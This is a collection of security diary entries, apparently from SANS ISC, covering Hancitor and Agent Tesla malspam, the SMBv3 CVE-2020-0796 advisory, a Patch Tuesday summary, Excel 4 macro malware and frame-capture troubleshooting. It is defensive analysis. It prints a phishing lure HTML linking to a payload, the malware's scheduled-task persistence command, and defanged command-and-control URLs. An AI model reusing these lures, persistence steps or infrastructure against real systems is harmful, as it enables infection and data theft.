# ethtool -k eth1 | grep rx rx-checksumming: on rx-vlan-offload: on rx-vlan-filter: off [fixed] rx-fcs: off [fixed] rx-all: off [fixed] rx-vlan-stag-hw-parse: off [fixed] rx-vlan-stag-filter: off [fixed] rx-udp_tunnel-port-offload: off [fixed] tls-hw-rx-offload: off [fixed] rx-gro-hw: off [fixed]	# ethtool -k eth1 | grep rx rx-checksumming: on rx-vlan-offload: off [fixed] rx-vlan-filter: off [fixed] rx-fcs: off [fixed] rx-all: off [fixed] rx-vlan-stag-hw-parse: off [fixed] rx-vlan-stag-filter: off [fixed] rx-udp_tunnel-port-offload: off [fixed] tls-hw-rx-offload: off [fixed] rx-gro-hw: off [fixed]	# ethtool -k eth1 | grep rx rx-checksumming: on rx-vlan-offload: on [fixed] rx-vlan-filter: off [fixed] rx-fcs: off [fixed] rx-all: off [fixed] rx-vlan-stag-hw-parse: off [fixed] rx-vlan-stag-filter: off [fixed] rx-udp_tunnel-port-offload: off [fixed] tls-hw-rx-offload: off [fixed] rx-gro-hw: off [fixed]

Luckily, my main laptop has an on-board Intel NIC, which allows you to adjust lots of the knobs available (certainly the ones we're looking for)!

# ethtool -k eth0 | grep rx

rx-checksumming: on
rx-vlan-offload: on
rx-vlan-filter: off [fixed]
rx-fcs: off
rx-all: off
rx-vlan-stag-hw-parse: off [fixed]
rx-vlan-stag-filter: off [fixed]
rx-udp_tunnel-port-offload: off [fixed]
tls-hw-rx-offload: off [fixed]
rx-gro-hw: off [fixed]

Ok, NOW we're ready to go, right?  We set the whole thing up, with a capture filter of: len < 65 (this is packet length not frame length, so it still sees ARP and other small packets, but at least it filters the majority of the traffic out)

.... And we still don't get our target frames.  We know that we're still receiving runt frames  - we still see them on the switch, and ethtool shows them on the capturing PC - but tcpdump isn't seeing them?

At that point, we go to the wireshark FAQ, and see that even after all this work, libpcap is our last roadbock.  libpcap will not capture invalid frames, so that means tcpdump, wireshark and anything that uses tcpdump won't.
https://www.wireshark.org/faq.html#_how_can_i_capture_entire_frames_including_the_fcs

Looking into various posts on libpcap, we see the same messages echo'd "we'll capture any valid frame" ....

If I remember right, (way way) back in the day, the Network General Sniffer boxes could do this, but that's going back to 10/100mbps ethernet days.

So the question to the community is - has anyone seen a combo of NIC, driver, OS and library that will capture invalid frames?  Please, use our comment form if you've seen anything that works.  Or if you've been in a similar situation of needing to capture traffic but couldn't we're all ears on that too!

===============
Rob VandenBrink
rob@coherentsecurity.com

 

Introduction

The criminal group behind Hancitor malware has been quiet during the past few weeks.  For the past year or so, this group has stuck with DocuSign-themed malspam to distribute Hancitor (like this example from January 2020).  However, today @mesa_matt reported a new wave of Hancitor malspam using a coronavirus theme.  Today's diary reviews two quick infection runs using information from @mesa_matt's Twitter thread on Wednesday 2020-03-11.

My thanks to everyone on Twitter who keeps an eye on Hancitor and tweets about it.

Shown above:  Screenshot of the malspam from a tweet by @mesa_matt on 2020-03-11.

Infection traffic

We're still seeing the same sequence of events from previous Hancitor runs so far this year.

• Step 1:  Link from malspam
• Step 2:  leads to another URL that returns a zip archive
• Step 3:  Extract VBS from zip archive
• Step 4:  VBS drops and executes Hancitor DLL
• Step 5:  Hancitor-style post-infection traffic

Shown above:  Traffic from an infection filtered in Wireshark.

Indicators of Compromise (IoCs)

Traffic from an infected Windows host:

• URL from link in the malspam (various URLs from step 1, not in my pcaps)
• 8.208.77[.]171 port 80 - freetospeak[.]me - GET /0843_43.php
• port 80 - api.ipify[.]org - GET /
• 45.153.73[.]33 port 80 - thumbeks[.]com - POST /4/forum.php
• 45.153.73[.]33 port 80 - thumbeks[.]com - POST /mlu/forum.php
• 45.153.73[.]33 port 80 - thumbeks[.]com - POST /d2/about.php
• 68.183.232[.]255 port 80 - shop.artaffinittee[.]com - GET /wp-includes/sodium_compat/1
• 68.183.232[.]255 port 80 - shop.artaffinittee[.]com - GET /wp-includes/sodium_compat/2

Malware from my infected lab hosts:

SHA256 hash: 4f6d4d8f279c03f1ddfa20f95af152109b7578a2bec0a16a56ff87745585169a

• File size: 230,431 bytes
• File location: hxxp://freetospeak[.]me/0843_43.php
• File name: SE-670131329809_5500.zip
• File description: zip archive downloaded from link in malspam distributing Hancitor (1st run)

SHA256 hash: 6897a3b85046ba97fb3868dfb82338e5ed098136720a6cf73625e784fc1e1e51

• File size: 1,130,515 bytes
• File name: SE670131329809.vbs
• File description: VBS file extracted from downloaded zip archive (1st run)

SHA256 hash: 8a9333204db83c2571463278cb6a6241ae5f215b2166bf4af5693d611049d5a9

• File size: 228,383 bytes
• File location: hxxp://freetospeak[.]me/0843_43.php
• File name: QU-555033076467_5558.zip
• File description: zip archive downloaded from link in malspam distributing Hancitor (2nd run)

SHA256 hash: 8da0eb3a2378d218043e9f3188e59e3158f1fd01bbcd979f05197c74c2fb7a1c

• File size: 1,125,138 bytes
• File name: QU555033076467.vbs
• File description: VBS file extracted from downloaded zip archive (2bd run)

SHA256 hash: 291a4eb06358eca87fbc1f133ee162b6c532f4ec3e6f39c2646cde5de60e80f9

• File size: 253,952 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\adobe.txt
• File description: Hancitor DLL dropped after executing above VBS files (both runs)

For further information:

• Twitter thread from @mesa_matt with a screenshot of a malspam example:  link
• Initial info on Pastebin for Hancitor malspam from @mesa_matt Twitter thread:  link
• Any.Run sandbox analysis for URL used to kick off my infection runs:  link
• File hashes on Pastebin for this Hancitor from paste by JAMES_INTHE_BOX:  link

Final words

Pcaps of my infection traffic along with the associated malware can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

[Update March 12, 2020]

Microsoft released patches for the affected systems: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

--

SMB has already been a targeted protocol several times and it came back today in stage with a new CVE: %%cve:2020-0796%%. This time, version 3 of the protocol is affected by a remote code execution vulnerability. The SMB protocol was enhanced multiple times by Microsoft and more features were added. The one that is targeted today seems to be the data compression. At this time, Microsoft did not release information and no patch is available. What do we know?

Affected Windows versions:

• Windows 10 Version 1903 for 32-bit Systems
• Windows 10 Version 1903 for ARM64-based Systems
• Windows 10 Version 1903 for x64-based Systems
• Windows 10 Version 1909 for 32-bit Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows 10 Version 1909 for x64-based Systems
• Windows Server, version 1903 (Server Core installation)
• Windows Server, version 1909 (Server Core installation)

The victim's computer can be compromised by exposing a vulnerable SMBv3 resource in the wild but a client might be affected just by visiting a malicious SMBv3 server. Both clients and servers are affected!

How to protect your resources?

• Microsoft published a workaround[1] via Powershell (see below)
• Restrict SMB traffic to the strict minimum
  • Do not expose servers in the wild, restrict access to them
  • Do not allow SMB traffic to the outside world. We can guess that malicious emails and malware will include "smb://" URLs soon.

The Powershell workaround is:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force`

We will continue to update this diary based on the information collected. 

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

For a few days, there are new waves of Agent Tesla[1] landing in our mailboxes. I found one that uses two new "channels" to deliver the trojan. Today, we can potentially receive notifications and files from many types of systems or devices. I found a phishing sample that tries to hide behind a Canon EOS camera notification. Not very well designed but it’s uncommon to see this. It started with a simple email:

Note the beautiful typo in the mail subject! ("Qoute")

The malicious payload is delivered via the following path:

A ZIP archive is attached to the mail:

Photos and specification.zip (SHA256:0875804511b077f7e8b4d5f4dd11b61f2334b9b61da1018f6246739a348a6d19)

The archive contains an HTML file (Unicode): 

photos and specification.html (SHA256:ab6b5faa826f5f503d9b9c8c5de0e3b0d65bf88812a9f7b83bf97901c39d6ebe)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD>
<META name=GENERATOR content="MSHTML 11.00.9600.19626"></HEAD>
<BODY style="MARGIN: 0.5em">
<P><A href="hxxps://nuesterish742[.]owncloud[.]online/index.php/s/rEbK2f0fHiMTy2k"><IMG style="HEIGHT: 368px; WIDTH: 661px" border=0 hspace=0 alt="" src="hxxps://www[.]mirrorlessrumors[.]com/wp-content/uploads/2018/09/Bildschirmfoto-2018-09-02-um-07.29.06-700x368.png" width=699 align=baseline height=368></A><BR><BR><BR><FONT size=7><A href="hxxps://nuesterish742[.]owncloud[.]online/index.php/s/rEbK2f0fHiMTy2k"><STRONG>DOWNLOAD</STRONG></A><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;</STRONG>
<A href="hxxps://nuesterish742[.]owncloud[.]online/index.php/s/rEbK2f0fHiMTy2k"><STRONG>VIEW</STRONG></A><BR><A href="hxxps://nuesterish742[.]owncloud[.]online/index.php/s/rEbK2f0fHiMTy2k"><FONT size=3>hxxps://nuesterish742[.]owncloud[.]online/index.php/s/rEbK2f0fHiMTy2k</FONT></A><BR><BR></FONT></P></BODY></HTML>

Here is the page rendered in a browser:

The next stage payload is hosted on a public OwnCloud account. OwnCloud is a very popular cloud storage solution. You can run your private cloud on-premises but they also offer a “cloud” solution and a free trial:

A file is shared via this trial account: “Photos and specification.cab” (SHA256:d6404503a8257ebf3d153e91d0b92c9ae8da7c710124781ae27e6a55c40b887f). It contains the final payload:

Photos and specification.exe (SHA256:5254a36f51199786127851940e49c50ffe04aafa091ba6518118125bd68a4c31) with a current VT score of 24/72[2]. This is the Agent Tesla itself.

It copies itself into C:\Users\admin\AppData\Roaming\ and implements persistence via a scheduled task:

C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PHIvtqf" /XML "C:\Users\user\AppData\Local\Temp\tmp6CEB.tmp

The scheduled task configuration is also dumped on disk:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2014-10-25T14:27:44.8929027</Date>
    <Author>SANDBOX\user</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>SANDBOX\user</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>SANDBOX\user</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Users\user\AppData\Roaming\PHIvtqf.exe</Command>
    </Exec>
  </Actions>
</Task>

You can detect hosts infected by Agent Tesla by checking connections over TCP/587 (SMTP submissions) which is usually permitted compared to TCP/25. In this case, it used the IP address %%ip:78.142.19.101% to exfiltrate data.

I also found other suspicious OwnCloud accounts:

nuesterish742.owncloud.online   
wighteredd264.owncloud.online
ntyclighta026.owncloud.online
idompoomel467.owncloud.online
titiollaug517.owncloud.online

Probably there are many more...

[1] https://any.run/malware-trends/agenttesla
[2] https://www.virustotal.com/gui/file/5254a36f51199786127851940e49c50ffe04aafa091ba6518118125bd68a4c31/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Microsoft today released patches for a total of 117 vulnerabilities. 25 of these vulnerabilities are rated critical. None of the vulnerabilities had been disclosed before today. Microsoft also has not seen any of them exploited in the wild.

CVE-2020-0684: LNK files are back! Yet again, opening a .lnk file can lead to arbitrary code execution. Similar vulnerabilities have been exploited heavily in the past and this should be a "must patch".

As in most recent patch Tuesdays, a number of different critical remote code execution issues are exploitable via the scripting engine. These are exposed via the web browser.

For important vulnerabilities, we have a number of issues in Office (Word/Excel). These typically require some user interaction beyond just opening the document, and are only rated as "important" as a result.

So in general, there is nothing out of the ordinary in this set of patches. Adobe has so far not released a flash update for today. This update is usually rolled into the Microsoft patch Tuesday.

But wait. what about CVE-2020-0796? Some people noted that Cisco's Talos research lab summary of today's patch Tuesday included a different, CVE-2020-0796, rather serious description: ">CVE-2020-0796 is a remote code execution vulnerability in Microsoft Server Message Block 3.0 (SMBv3). An attacker could exploit this bug by sending a specially crafted packet to the target SMBv3 server, which the victim needs to be connected to. Users are encouraged to disable SMBv3 compression and block TCP port 445 on firewalls and client computers. The exploitation of this vulnerability opens systems up to a “wormable” attack, which means it would be easy to move from victim to victim.". This CVE, however, is assigned to the LNK vulnerability. It may be an early draft that had a preliminary description of the vulnerability. Blocking port 445 on the firewall is probably a good idea either way. 

Update: There is now a Microsoft security advisory (ADV200005) about this flaw. It states, that clients, as well as servers, are vulnerable. To exploit the vulnerability, an attacker would send a crafted SMB3 packet to the server or trick the client to connect to a malicious server. At this point, Microsoft recommends to turn off compression on servers. There is no workaround for clients. This vulnerability has no CVE number assigned to it yet. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005

 

March 2020 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
Azure DevOps Server Cross-site Scripting Vulnerability
%%cve:2020-0700%%	No	No	Less Likely	Less Likely	Important
Azure DevOps Server and Team Foundation Services Elevation of Privilege Vulnerability
%%cve:2020-0758%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-0815%%	No	No	-	-	Important
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2020-0811%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0812%%	No	No	-	-	Critical	4.2	3.8
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-0844%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Connected User Experiences and Telemetry Service Information Disclosure Vulnerability
%%cve:2020-0863%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Diagnostic Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2020-0810%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2020-0793%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-0690%%	No	No	More Likely	More Likely	Important	7.0	6.3
Dynamics Business Central Remote Code Execution Vulnerability
%%cve:2020-0905%%	No	No	Less Likely	Less Likely	Critical
GDI+ Remote Code Execution Vulnerability
%%cve:2020-0881%%	No	No	Less Likely	Less Likely	Critical	6.7	6.0
%%cve:2020-0883%%	No	No	Less Likely	Less Likely	Critical	6.7	6.0
Internet Explorer Memory Corruption Vulnerability
%%cve:2020-0824%%	No	No	-	-	Critical	6.4	5.8
LNK Remote Code Execution Vulnerability
%%cve:2020-0684%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
Media Foundation Information Disclosure Vulnerability
%%cve:2020-0820%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Media Foundation Memory Corruption Vulnerability
%%cve:2020-0801%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
%%cve:2020-0807%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
%%cve:2020-0809%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
%%cve:2020-0869%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
Microsoft Edge Memory Corruption Vulnerability
%%cve:2020-0816%%	No	No	-	-	Critical	4.2	3.8
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2020-0903%%	No	No	Less Likely	Less Likely	Important
Microsoft IIS Server Tampering Vulnerability
%%cve:2020-0645%%	No	No	-	-	Important	7.5	6.7
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-0893%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-0894%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Reflective XSS Vulnerability
%%cve:2020-0795%%	No	No	-	-	Important
%%cve:2020-0891%%	No	No	Less Likely	Less Likely	Important
Microsoft Visual Studio Spoofing Vulnerability
%%cve:2020-0884%%	No	No	Less Likely	Less Likely	Important
Microsoft Word Remote Code Execution Vulnerability
%%cve:2020-0850%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-0851%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-0852%%	No	No	Less Likely	Less Likely	Critical
%%cve:2020-0855%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-0892%%	No	No	Less Likely	Less Likely	Important
Provisioning Runtime Elevation of Privilege Vulnerability
%%cve:2020-0808%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Remote Code Execution Vulnerability in Application Inspector
%%cve:2020-0872%%	No	No	Less Likely	Less Likely	Important
Remote Desktop Connection Manager Information Disclosure Vulnerability
%%cve:2020-0765%%	No	No	Less Likely	Less Likely	Moderate
Scripting Engine Information Disclosure Vulnerability
%%cve:2020-0813%%	No	No	-	-	Important	4.3	3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-0768%%	No	No	-	-	Critical	6.4	5.8
%%cve:2020-0823%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0825%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0826%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0827%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0828%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0829%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0830%%	No	No	-	-	Critical	7.5	6.7
%%cve:2020-0831%%	No	No	-	-	Critical	4.2	3.8
%%cve:2020-0832%%	No	No	More Likely	More Likely	Critical	7.5	6.7
%%cve:2020-0833%%	No	No	-	-	Critical	6.4	5.8
%%cve:2020-0848%%	No	No	-	-	Critical	4.2	3.8
Service Fabric Elevation of Privilege
%%cve:2020-0902%%	No	No	Less Likely	Less Likely	Important
VBScript Remote Code Execution Vulnerability
%%cve:2020-0847%%	No	No	More Likely	More Likely	Critical	6.4	5.8
Visual Studio Extension Installer Service Denial of Service Vulnerability
%%cve:2020-0789%%	No	No	Less Likely	Less Likely	Important
Win32k Elevation of Privilege Vulnerability
%%cve:2020-0788%%	No	No	More Likely	More Likely	Important	7.8	7.0
%%cve:2020-0877%%	No	No	More Likely	More Likely	Important	7.0	6.3
%%cve:2020-0887%%	No	No	More Likely	More Likely	Important	7.0	6.3
Win32k Information Disclosure Vulnerability
%%cve:2020-0876%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2020-0834%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2020-0770%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0773%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0860%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability
%%cve:2020-0787%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows CSC Service Elevation of Privilege Vulnerability
%%cve:2020-0769%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0771%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Defender Security Center Elevation of Privilege Vulnerability
%%cve:2020-0762%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0763%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Device Setup Manager Elevation of Privilege Vulnerability
%%cve:2020-0819%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-0776%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0858%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-0772%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0806%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2020-0775%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-0774%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-0874%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2020-0879%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2020-0880%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-0882%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-0791%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0898%%	No	No	-	-	Important	7.0	6.3
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2020-0885%%	No	No	Less Likely	Less Likely	Important	4.3	3.9
Windows Hard Link Elevation of Privilege Vulnerability
%%cve:2020-0840%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0841%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0849%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0896%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Imaging Component Information Disclosure Vulnerability
%%cve:2020-0853%%	No	No	Less Likely	Less Likely	Important	4.3	3.9
Windows Installer Elevation of Privilege Vulnerability
%%cve:2020-0779%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-0798%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0814%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0842%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0843%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-0799%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Language Pack Installer Elevation of Privilege Vulnerability
%%cve:2020-0822%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Mobile Device Management Diagnostics Elevation of Privilege Vulnerability
%%cve:2020-0854%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2020-0859%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Network Connections Service Elevation of Privilege Vulnerability
%%cve:2020-0778%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-0802%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0803%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0804%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0845%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Network Connections Service Information Disclosure Vulnerability
%%cve:2020-0871%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Network Driver Interface Specification (NDIS) Information Disclosure Vulnerability
%%cve:2020-0861%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Network List Service Elevation of Privilege Vulnerability
%%cve:2020-0780%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows Search Indexer Elevation of Privilege Vulnerability
%%cve:2020-0857%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Tile Object Service Denial of Service Vulnerability
%%cve:2020-0786%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2020-0781%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-0783%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows Update Orchestrator Service Elevation of Privilege Vulnerability
%%cve:2020-0867%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0868%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2020-0785%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows Work Folder Service Elevation of Privilege Vulnerability
%%cve:2020-0777%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-0797%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0800%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0864%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0865%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0866%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0897%%	No	No	Less Likely	Less Likely	Important	7.8	7.0

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Reader Carsten submitted an interesting malicious spreadsheet: c2af8b309a9ce65e9ac67c6d3c3acbe7.

It contains Excel 4 macros:

(remark that if you're using oledump.py with a version older than 0.0.48, you'll get incomplete formula parsing)

Taking a close look at these formulas, I fail to see (partial) URLs or anything that might be an encoded URL or script/command.

When I search for http using plugin_biff's find option (f), I find 2 records that contain the string http:

One of them is a database connection record (DCONN):

Parsing this record with format-bytes.py according to the DCONN record format, I get this:

This database connection will execute a web query to hxxps://pnxkntdl[.]xyz/KDSBVksdhv778a and write the retrieved data starting at cell Sheet1!4f143f1.

The page at this URL was already down when we did the analysis of the document, but I was able to find the page content on VirusTotal:

These are all formulas to close the workbook ...

Name Sheet1!4f143f1 references cells U110 through U113. That's where the web query result will be written to.

Analyzing Excel 4 macros with complex formulas is not easy with my plugin_biff, that's why in such cases I often open the macro inside a VM (the sheet is hidden with white font):

The macros start to run at cell B4, and will jump to "berbw34" if the machine has audio capability (GET.WORKSPACE(42)) and if the OS is Windows (GET.WORKSPACE(1)). The spreadsheet is closed if these conditions are not met.

At berbw34, the content of cell U113 is tested for the presence string "LOS" (inside a loop with a delay of 2 seconds):

If "LOS" is found, execution jumps to "wgwrth6h":

These macros copy 4 cells from sheet1 cell U110 to the macro 4 sheet cell D18, which are then executed.

Summary:

This is a malicious Excel 4 macro spreadsheet with a database connection. The Excel 4 macros do some sandbox tests and then wait for the web query to complete. The web query (defined in the database connection) retrieves more Excel 4 macros and copies them to the Excel 4 macro sheet to be executed. The web page I was able to recover from VirusTotal contains 4 =CLOSE() formulas: it's likely that there was another payload present, with downloader formulas, for example.

If you were able to obtain the web page of this malicious spreadsheet (or another one using the same method), please post a comment.

 

Update: I was able to find an example of a page with formulas via a VirusTotal retro hunt. It's indeed a downloader:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Sheets in Excel workbooks can be hidden. To unhide them, right-click a sheet tab and select "Unhide":

Xavier wrote a diary entry about a malicious Excel spreadsheet with Excel 4 macros. Opening the spreadsheet inside a VM, he did not see an Excel 4 macros sheet, nor could he unhide one:

The reason is the following. When you use my tool oledump.py with plugin plugin_biff, you can see that Xavier's malicious Excel 4.0 macro sheet is "very hidden".

The byte value at position 5 in a BOUNDSHEET record defines the visibility of a sheet: visible (0x00), hidden (0x01) or very hidden (0x02).

Visible and hidden can be toggled with Excel's GUI (right-click menu), but very hidden not.

You have a couple of options to make a very hidden sheet visible:

• Use a tool like ShowSheets
• Change a sheet's visible property programmatically
• Use VBE
• Use a hex editor (in this example, search for 3A 84 01 00 02 01 0A 00 and replace 02 with 00)
• ...

Please post a comment if you know other methods.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.2.2 was released.

It has a vulnerability and bug fixes.

Important notice for Windows users:

Automatic updates were inadvertently disabled in the Wireshark 3.2.1 64-bit and 32-bit Windows installers. If you’re running Wireshark 3.2.1 on Windows you will have to update to a later version manually. Bug 16381

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I am an advocate for the practice of adversary emulation to ensure detection efficacy. Candidly, I don’t consider a detection production-ready until it has been validated with appropriate adversary emulation to ensure the required triggers, alerts, and escalations are met. In many cases, basic human interaction can simulate the adversary per specific scenarios, but this doesn’t scale well. Applications and services to aid in this cause are essential. A couple of years ago I discussed APTSimulator as a means by which to test and simulate the HELK, but I haven’t given proper attention to adversary emulation on Linux. To that end, Chain Reactor “is an open source framework for composing executables that can simulate adversary behaviors and techniques on Linux endpoints. Executables can perform sequences of actions like process creation, network connections and more, through the simple configuration of a JSON file.”

Chain Reactor is a Red Canary offering, this team also provides Atomic Red Team, a set of “small and highly portable detection tests based on MITRE’s ATT&CK.” I’ll definitely focus on Atomic Red Team in the future, but it’s so well documented and vetted, I’ll target some very specific scenarios.
With Chain Reactor we see a few basic premises. Chain Reactor operates in the frame work of a reaction. Within the context of the reaction are a list of objectives defined as atoms. Within each atom, one or many actions and the subsequent arguments to use are established with quarks. According to Red Canary, “this structure helps with pre-stage setup, multi-stage objectives, and post-stage cleanup.” With any chain reaction, testers should ask the following questions:

• Visibility: Does my endpoint security product collect telemetry for all four quarks? Does it handle one, many, or all system calls that can be used to execute a binary?
• Detection: Does my endpoint security product alert me to the execution of a hidden binary in a hidden directory?

